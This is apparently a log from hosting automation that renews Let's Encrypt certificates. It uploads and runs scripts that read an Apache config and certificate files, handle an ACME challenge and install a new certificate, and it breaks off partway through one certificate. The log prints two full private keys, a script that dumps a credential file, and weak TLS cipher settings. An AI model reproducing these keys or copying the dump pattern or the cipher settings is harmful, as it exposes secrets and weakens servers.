#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_stoughton_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-24 06:00:25: 

chmod 755 /tmp/pkp320355; /tmp/pkp320355; rm /tmp/pkp320355

2026-06-24 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_stoughton_us.conf	1753
ServerName	stoughton.hostz.org

<VirtualHost *:80>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/stoughton_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_stoughton/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/stoughton_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>







2026-06-24 06:00:25: 

PUT: /tmp/pkp570258

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-24 06:00:26: 

chmod 755 /tmp/pkp570258; /tmp/pkp570258; rm /tmp/pkp570258

2026-06-24 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d	7412
c6:44:47:be:a6:ef:fe:7c:25:39:75:42:af:97:2c:6f

-----BEGIN CERTIFICATE-----
MIIE9zCCA9+gAwIBAgISBfpjVh2TjbWVPFEmjZY+Tk0zMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjI0MDUwMTQ0WhcNMjYwOTIyMDUwMTQzWjAeMRwwGgYDVQQD
ExNzdG91Z2h0b24uaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAo2hxa9BFNE74b/B6liP3e2uGvIWa0XjCVXraLhNnppOEiRaROgqTKL1L
uvXULd/2/zNZkOgc7fOE24Myp58/1jyinVi3bcOGwf+7ac3aSt1m1ihwUsb5oHyW
ZVMFlN/a5SGPVQpOt7bdHLiztt0/SzAuja/3vR9PYu8P+oixd5pedUs3wml1TyGq
B5x0OzmhV/pMriMoZojLpjy4wqsqU1RHHfTPVEBZhmn3DrWtBGemmBe0zP0sUglR
PvE5j/KPqQ5rONpyIMexYEcJRkDExQrNiKT/wT/TJzUCY1cCcUuaHmohxE7Qfe+7
GtNBYsdR01mYjriihvEHZXP1FrvirwIDAQABo4ICGDCCAhQwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FB+UElCKnYAi3Zmzs7Ce5MUcDk1ZMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxV
ePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITc3RvdWdodG9uLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8veXIxLmMu
bGVuY3Iub3JnLzUyLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB2AMijxH/H
s625NWsBP2p6Em3jOk5DpcZG+ZetOXWZHc+aAAABnvg3ALcAAAQDAEcwRQIgIbE2
ZMAlh5AsGkYCJc8NPlLzwf2vI+KWc7NcxTZWF9YCIQCnWcGQUpDYn6ahc07+7h4c
VuypkClYrG8HC/CsAZCARgB1AMIxfldFGaNF7n843rKQQevHwiFaIr9/1bWtdprZ
DlLNAAABnvg3CEQAAAQDAEYwRAIgC4kYUD3eebUoePXaCnf69070LdzO3LZyLie6
jD5hJV4CIGtJRRSfCCIli/DYdHOQpnJYZih7/LEzNKTyr+Im9q/5MA0GCSqGSIb3
DQEBCwUAA4IBAQCKr/028IXvHBQXkliS5GXI41N8AZyyy/TkcPghiPRVYLMm4Z1t
2WTtTGPg/9NEisJeZSouoVbJ1EkeLmyknaVH912qxY6fEihXdLwpcJDVk0KHNFOP
eC2MzJCGOXEmGbH9PCy+TJ+nQzh2YhvXxeLspiX/j6cdwG2ztADERsRjjZ0W5Wvf
/JCNPWrjGvSX774RU1Lcmd6K+3Tis5FPvpUPKP7rjC4lMEu8tEojrUT330Y2Hdtz
g9079zP4hSnR8ippsKDMCvxL96uWdSFvwY7wZcSQHsEUgT9R6EAvCV+pXyg+jIZr
CLMuTljNF0egNFfXghFa7iALmclRz9kanqv0
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCjaHFr0EU0Tvhv
8HqWI/d7a4a8hZrReMJVetouE2emk4SJFpE6CpMovUu69dQt3/b/M1mQ6Bzt84Tb
gzKnnz/WPKKdWLdtw4bB/7tpzdpK3WbWKHBSxvmgfJZlUwWU39rlIY9VCk63tt0c
uLO23T9LMC6Nr/e9H09i7w/6iLF3ml51SzfCaXVPIaoHnHQ7OaFX+kyuIyhmiMum
PLjCqypTVEcd9M9UQFmGafcOta0EZ6aYF7TM/SxSCVE+8TmP8o+pDms42nIgx7Fg
RwlGQMTFCs2IpP/BP9MnNQJjVwJxS5oeaiHETtB977sa00Fix1HTWZiOuKKG8Qdl
c/UWu+KvAgMBAAECggEADjhz9mqk5c0hjbb4fsHD3c0ZEqWbODOG0KLlAzF+dF6j
dWgDXMZi0XQid7NrsvpUp8IzlIq+nxlG10ZETZYW8MaiGDNfndZwOch5lNbsnQCb
hx5JzXUHcFH8p0thpve8OEiCuBHc5oasGL3HgK3MaPdZIHd52yQzEmxfkEapEGa4
+JDGIcRXwqdT++hupYev1mSrJ75Fs2flCZOqD8rqmrWi6uV3AwsNr58NhIfWwZ7T
+NlyDEHPAg8WN31tglwpGSwMn9gOrSYeQwxGCRGG4QZu4I+qVjNlO60LImGMHg0J
X32KrbDkQiQInctEsRvrWppqoilk4HpoCWd63N99oQKBgQDg6YBE45YhDrtgHkPH
9IWhqmyk/ro2Wl4Y0vwdGwivWo+E5V+R9NtCSHpOWDbgAo53ePUWPb8W8s4NBh31
7McBP/KM8Ik9/nOaw12/5ugUpPmE8u/yOPmZ8z6q10vb8z2k6r/ksU4KAqzjpg9V
EJVAv6z5BC2XZd5ZmFmpDhzTuQKBgQC5/p9oauiRAy+ea9s04YuCj+A8VEl9ia+w
37qnh3PPnRm6zk478YLNcu2psGtxKiy4Zcg1Y9RGdA3rUl3MKQj9CisULjFe/bIb
Kzxd7gs3kQgZ6yVY6ryCMw1Y3A9JlNWyU/Ee+aWRtYKTYv7hrl0yROE0PNRH4XTt
IQBe7ghtpwKBgDdfZZQQUBrtbJZafSeSfP/zXHI2wJO3JemIsEdeK4I4kpMOgbwG
g6DLBUmakFAQcRDa98Q1CYHV34L3WZL9a3VUUBwA8FkR91ZH+SHQ8Jx8jW38/bQt
8M3FRE19WhDZzvh2Ty43tNXkGLqnXKj9vzFEv4pDTBI1I0v9pT1o2xIJAoGAHimQ
qFpOBNZDbqmHDvhUq4OxlZcFo/okJ8bgejKZMV4EwiqavVXZJIAy0oXtpph0UCMR
aLcbwaEocLUWyPkOoBp6CffDwefablWAoKrt3sECU1Gy6MyIbYTh8Tser4wXa6f5
PlC17P9GgahYNTkVnAVXkCUdN9r0H1BuwvZPH5kCgYACggGUELoifj+XfNCMmNfW
NRICqVkP7bQbIo64y6OXE50lbUkRF+z7g/YQw4DuL4C9PTckj4udUJYem1c13GWS
icw3F9Ll8EFhWJdNFuxdJIUN3bIPwQX76UhjCrPwpK6FsiPFK/6gN+L0LBkP/JN0
J+esIZTwnTkwgaEaHoXgzQ==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----






2026-06-24 06:00:26: Establishing a connection
2026-06-24 06:00:28: Establishing a connection
2026-06-24 06:00:29: 

PUT: /tmp/pkp427666

#!/bin/bash
if [ -d "/var/www/hostz_mercury/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-24 06:00:30: 

chmod 755 /tmp/pkp427666; /tmp/pkp427666; rm /tmp/pkp427666

2026-06-24 06:00:30: 


1


2026-06-24 06:00:31: Establishing a connection
2026-06-24 06:00:32: 

PUT: /tmp/pkp568841

#!/bin/bash
mkdir -p "/var/www/hostz_mercury/.well-known/acme-challenge/"
cd "/var/www/hostz_mercury/.well-known/acme-challenge/"
cat > d2iqhVplbvbavfsv1syDRlXdaTub_WARcDae54gs9R4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
d2iqhVplbvbavfsv1syDRlXdaTub_WARcDae54gs9R4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 d2iqhVplbvbavfsv1syDRlXdaTub_WARcDae54gs9R4


2026-06-24 06:00:33: 

chmod 755 /tmp/pkp568841; /tmp/pkp568841; rm /tmp/pkp568841

2026-06-24 06:00:33: 




2026-06-24 06:00:40: Establishing a connection
2026-06-24 06:00:42: 

PUT: /tmp/pkp576270

#!/bin/bash
mkdir -p "/var/www/hostz_mercury/.well-known/acme-challenge/"
cd "/var/www/hostz_mercury/.well-known/acme-challenge/"
rm d2iqhVplbvbavfsv1syDRlXdaTub_WARcDae54gs9R4


2026-06-24 06:00:43: 

chmod 755 /tmp/pkp576270; /tmp/pkp576270; rm /tmp/pkp576270

2026-06-24 06:00:43: 




2026-06-24 06:00:43: Establishing a connection
2026-06-24 06:00:44: 

PUT: /tmp/pkp574361

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
0f:4c:a3:43:d8:40:b2:e5:2f:4b:48:3a:6d:4e:29:6d

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBd5vTGTMjsP5AJkV8xC0uWiJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjI0MDUwMjA5WhcNMjYwOTIyMDUwMjA4WjAcMRowGAYDVQQD
ExFtZXJjdXJ5Lmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBALLKDGmhBfhComVAFAsx8J+q/Oos9hmej10TyOHDgdlKeUBeTE95k+426msZ
OIXnpnRD4jszth6JMne9U1u6HYJCPg2SEi0RSJJXmbuoi728SyNp4RIjJ/K5rUEi
3a2Qp2j75et4QZv0/p1P6PEtAi/SrxRVzbeeXL3+pbms4SQxh7k3D1BZm2wQ24ae
A79sybFCW1/5zoK3FPZ0Vr5rWB3uqUu/pMt2h5mGRNnfJxi9LhYs908aOMEj0OFJ
+GKvhcO3xS5SzZxJCfrhSlqU/Z2B9VFjLdp9aP5GIyNsT7NH90AhT/1hiKmHMzyP
RFUtfGyQeWz9QLpn90BJsl98p18CAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTM
O5396ukO7LAMRCdjTsKpX0je4zAfBgNVHSMEGDAWgBQfLzW+RhSCzUCxrnksVXj6
99Ro+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjEuaS5s
ZW5jci5vcmcvMBwGA1UdEQQVMBOCEW1lcmN1cnkuaG9zdHoub3JnMBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjEuYy5sZW5j
ci5vcmcvMTAuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHcAyzj3FYl8hKFE
X1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGe+DdgBwAABAMASDBGAiEA0zAUsGIc
kVD+XP7bPWFoxfZu791Q8lGw2ZBQTzASD24CIQDk3PyV2iB09nE4aeiwqCWZD3db
x/sO/D0ilv/rgMhi2QB9ABqLnWsP/r+BtHk5xtIxCobW0QLU8EbiGCyd419eJiXv
AAABnvg3YyYACAAABQAiiPiKBAMARjBEAiBh44NjDTpvoceVt0tvdkeV/FU0AZiV
sL2WDvCcmtd6nQIgCU9v/OtPiHXRr9yT3EaH+kWVrAmgj/YLrfrBh4wA3tMwDQYJ
KoZIhvcNAQELBQADggEBADorCjUEpepePqy3P+gmtiqbaSSjkWqFS7AdIlKsLNdQ
5U7cL4AVjFnnyMN+PiXU3W6HOIyOfvD2QKjksRDCaY/dfYjik6jhRvVuXfOwfcXo
QK8nHKqNEe0A8QfJW4HRNU9MmcqG7/NA6kuLOFUKZi5J9Nvmq/lkG5OhNv6l8Uxo
/niyzsfZJ/H8CrkR1XO9OIc66KxatOuxM75U+zKcXk0h591MaxKRBI316TUp2OHg
SLD0D9tQ0x+gv9bukSLBBv1LjnNGh07olN0ULQKFdRFOE8/I6v4iXRI19mZR01fo
4ZitaLH5nHqfXqHo08W2e+6oy7snCmu0wfiToBCAlUk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyygxpoQX4QqJl
QBQLMfCfqvzqLPYZno9dE8jhw4HZSnlAXkxPeZPuNuprGTiF56Z0Q+I7M7YeiTJ3
vVNbuh2CQj4NkhItEUiSV5m7qIu9vEsjaeESIyfyua1BIt2tkKdo++XreEGb9P6d
T+jxLQIv0q8UVc23nly9/qW5rOEkMYe5Nw9QWZtsENuGngO/bMmxQltf+c6CtxT2
dFa+a1gd7qlLv6TLdoeZhkTZ3ycYvS4WLPdPGjjBI9DhSfhir4XDt8UuUs2cSQn6
4UpalP2dgfVRYy3afWj+RiMjbE+zR/dAIU/9YYiphzM8j0RVLXxskHls/UC6Z/dA
SbJffKdfAgMBAAECggEAO2p5GItqM/hVBqf2YUgN6soEtgAOIzJ1+10tV5XE68Tb
qcAMxSamujYmzkO57Iow35eFsd38CobWrkNNVgDyeIzyGUlvX+nL/9I75Ujcc8gF
AnZX1VK4nmoFQU3IdLtLX1DDNm8nAqC3EulxBOFLxj/SbkQbkwd+U6eyRJPG2GNM
y/bLEueS3bOqE+uqIcGKxutGMTssr1Kn+77Bjq4y0X0nsrMQnnzfLDbGrk9c5/GH
TpBU8+7TATbGtNV6RMFDfOpjzGitYzrrxvs2lorLWcp1YmW5rKHk8yEvIJljbyu9
4ceIlD4VyaNrrw1jGHY2kpPBcj80dpGR19yde6DUnQKBgQDnxtfZ20dw5QIAsZPq
+bk8N0VsTec+DWXSE+z+qLshormHuP2Ri1V2mRvTWqA7v5u8QgWvHnxRURcdbUfK
r9VATKwdv2Nfcy+OvvGc/FDLa0RiqPQl1m/54Lg2kCuvEabB38nqJSYfRgg+68NR
ALgd75PCpAPn/jJEkExjMtPppQKBgQDFeYg2ekO69Cdt88kW9os2QVCOwD9WQGtt
p1Hye358n0IF9WPhH8ym5UytWSloGnVKQ1onYwP0WuaKwMdagjmo06n5bszmIW6j
6RxOl2GctijrMqxaG9APBNh1zsaAUAS3/QsLXRlsk8kVigJgYAngdOJ6eXAIKzvA
n3IrzCLVswKBgQCUmK5QtT5TSe+DxFXiQ2KYEZOHwVZtOSe7jRzXlBQNl4c9VcP0
KRGM7NKjKaorREgzZVzBjlkDxWp9ak+pyht9kuqSU98BFhc6fH7pN/cQw9/fJRUK
oTW/TWytRrdLEZUJHVIVtOWBDWRB+uOJLl3ci3n/Qyph9V4DCUSAINkuJQKBgQCn
OPAg+c4rHZ/aGyv5FxPyAMM/7wpzdp/CPoNFbFBDJfWZ6CAJPo1l8xzIWo2Wy3jx
RzGr0sxBe0xoyTDHsykyjvML90jpw/vWL4u5/bU6KINkEAglUhIQ9dB7intLovcr
+ssEd3UVHdyVMcYraIhUm4ZBol49fKbfyeW7suT4wwKBgEiuZCQhE+YiCDnhVT3V
1/ZkvkxaD15EVxllYgaFaPMAvS/prz76IDQNqLB61wpyLB1hqc7DGJVLmoGhJfDe
VYkStgWlS2YXk3OFJ8qpFEVfSpYEvxBLua4cXDrt05Mvsi6If7rn8he/qb57McpG
kkEawprlRIzzEXdYDlqL/nxs
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
